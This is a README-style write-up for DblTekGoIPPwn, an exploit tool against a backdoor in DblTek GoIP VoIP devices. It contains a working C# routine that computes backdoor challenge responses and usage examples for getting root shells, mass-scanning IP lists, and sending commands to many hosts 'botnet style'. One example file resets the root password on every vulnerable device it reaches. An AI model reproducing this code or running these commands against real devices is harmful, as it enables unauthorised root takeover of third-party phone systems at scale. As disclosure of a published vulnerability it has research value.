DblTekGoIPPwn – Tool to check if an IP of a DblTek GoIP is vulnerable to a challenge-response login system, execute remote commands botnet style, and generate responses to challenges

Tool to exploit challenge response system in vulnerable DblTek GoIP devices. Can generate responses to specified challenges, test hosts for the vulnerability, run commands on vulnerable hosts, and drop into a root shell on any vulnerable host.

The Vulnerability
On March 2nd, 2017, Trustwave released a vulnerability that security researchers found in the DblTek GoIP VoIP Phone. The vulnerability was a backdoor in the firmware for an account named ‘dbladm’. When a user entered this as their username in a telnet prompt, the system would present a challenge that when followed with the right response, gave the user a root shell on the system.
The problem with such a challenge response system is that the devices are as secure as the algorithm for generating the responses, which was reverse engineered from firmware binaries provided by DblTek. Using this algorithm, a root shell can be aquired on ANY DblTek GoIP device.
Original Article: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
Using the description of the backdoor provided in the article, I was able to write what I believe to be some of the first exploit code for this vulnerability. The core of this is of course the algorithm to generate the response based on a given challenge. Here is a function to do this written in C#.

static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.

string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.

byte[] buffer = new byte[64];
// Copy the string into the first part of the buffer.
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];

var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.

StringBuilder sb = new StringBuilder(); // Will hold the results.
// Take the unpadded hex value of the first six bytes of the MD5.
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));

return sb.ToString(); // Profit
}

DblTekGoIPPwn Command Line Interface (CLI)
When DblTekPwn is ran without arguments, the help is displayed. This is the output:

USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]

[MODE]:
-c --compute-response [CHALLENGE] Computes a response to the given challenge.
-r --root-shell Starts a root shell with the vulnerable host.
-s --send-commands [COMMAND_FILE] Sends commands from a file to vulnerable hosts.
-t --test Tests hosts and determines if they are vulnerable.
-h --help Displays this help and exits.

[HOSTS]:
-n --name [IP] Specifies a single IP address.
-f --file [IP_FILE] Specifies a file with IP\nIP\nIP.

[OUTPUT]:
-o --output [OUTPUT_FILE] Specifies an output file. Default stdin.

Examples

Getting a Root Shell on a Vulnerable System
DblTekGoIPPwn makes it easy to get a root shell on any vulnerable system. Simply run the following command using the vulnerable IP.

DblTekPwn.exe --root-shell --name 192.168.1.1

You will see output that looks like this:

Password: ***********

From here you can begin entering commands (there is no shell prompt).

Calculating a Challenge Response
Say you wanted to calculate the response to a GoIP challenge N1746203308 . You would just run the following command.

DblTekPwn --compute-response N1746203308

The output will be the response:

d6176d3aab2

Checking a List of IPs
Say you wished to check list.txt of IPs for GoIPs that are vulnerable and send this output to results.txt . First make sure that the IPs are in format ip:port (port is default 23) and that the IPs are seperated by a newline \n . The following command could then be ran.

DblTekPwn.exe --test --file list.txt --output results.txt

list.txt:

192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

results.txt:

192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

The False or True after the host indicates whether or not the IP is vulnerable.

Sending Commands to a List of IPs
Say you had a list of commands (which is really a list of telnet inputs) in cmds.txt to send to list.txt of IPs and send the output to results.txt . First make sure that the IPs are in format ip:port (port is default 23) and that BOTH the IPs AND commands are seperated by a newline \n in their respective files. The following command could then be ran.

DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt

list.txt:

192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

cmds.txt:

passwd root
toor
toor

exit

results.txt:

192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

The False or True after the host indicates whether or not the connection was successfully made and the commands delivered.
